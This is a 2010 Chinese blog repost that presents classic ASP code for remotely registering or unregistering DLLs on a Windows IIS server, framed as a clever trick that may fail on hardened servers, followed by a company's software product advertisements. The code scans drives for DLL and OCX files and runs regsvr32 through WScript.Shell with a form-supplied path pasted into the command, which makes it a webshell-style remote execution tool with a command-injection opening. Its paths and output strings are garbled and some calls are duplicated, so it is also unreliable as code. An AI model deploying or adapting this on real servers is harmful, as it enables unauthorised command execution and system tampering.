利用ASP远程注册DLL的方法

admin

2010年7月5日 0:7 本文热度 5710

老外真是聪明，这个方法也想得到，有兴趣的不妨试试，但是如果对方的服务器安全搞的很好的话，这个代码也许就不能用了，但不管怎么样，学习一下也是好的，：）

<% response.buffer = true %>
<% server.scripttimeout = 500
dim frmfolderpath, frmfilepath

frmfolderpath = request.form("frmfolderpath")
frmfilepath = request.form("frmdllpath")
frmmethod = request.form("frmmethod")
btnreg = request.form("btnreg")
%>

regsvr32.asp

<%
class clsregister

private m_ofs

public property let ofs(objofs)
m_ofs = objofs
end property

public property get ofs()
set ofs = server.createobject("scripting.filesystemobject")
end property

sub init(strroot) 'root to search (c:, d:, e:)
dim odrive, orootdir
if ofs.folderexists(strroot) then
if len(strroot) < 3 then 'must be a drive
set odrive = ofs.getdrive(strroot)
set orootdir = odrive.rootfolder
else
set orootdir = ofs.getfolder(strroot)
end if
else
echob("folder ( " & strroot & " ) not found.")
exit sub
end if
setroot = orootdir

echo("")
buildoptions
end sub

sub getalldlls(oparentfolder)
dim osubfolders, ofile, ofiles
set osubfolders = oparentfolder.subfolders
set opfiles = oparentfolder.files

for each ofile in opfiles
if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then
echo("")
end if
next

on error resume next
for each ofolder in osubfolders 'iterate all folders in drive
set ofiles = ofolder.files
for each ofile in ofiles
if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then
echo("")
end if
next
call getalldlls(ofolder)
next
on error goto 0
end sub

sub register(strfilepath, regmethod)
dim thefile, strfile, oshell, exitcode
set thefile = ofs.getfile(strfilepath)
strfile = thefile.path

set oshell = createobject ("wscript.shell")

if regmethod = "reg" then 'register
oshell.run "c:winntsystem32 egsvr32.exe /s " & strfile, 0, false
exitcode = oshell.run("c:winntsystem32 egsvr32.exe /s " & strfile, 0, false)
echob("regsvr32.exe exitcode = " & exitcode)
else 'unregister
oshell.run "c:winntsystem32 egsvr32.exe /u/s " & strfile, 0, false
exitcode = oshell.run("c:winntsystem32 egsvr32.exe /u/s " & strfile, 0, false)
echob("regsvr32.exe exitcode = " & exitcode)
end if

cleanup oshell
end sub

sub buildoptions
echob("register: ")
echob("unregister: ")
end sub

function echo(str)
echo = response.write(str & vbcrlf)
end function

function echob(str)
echob = response.write(str & "
" & vbcrlf)
end function

sub cleanup(obj)
if isobject(obj) then
set obj = nothing
end if
end sub

sub class_terminate()
cleanup ofs
end sub
end class
%>

该文章在 2010/7/5 0:07:33 编辑过

关键字查询

利用

远程

正在查询...

点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。

点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理，结合码头的业务特点，围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体，是物流码头及其他港口类企业的高效ERP管理信息系统。

点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。

点晴免费OA是一款软件和通用服务都免费，不限功能、不限时间、不限用户的免费OA协同办公管理系统。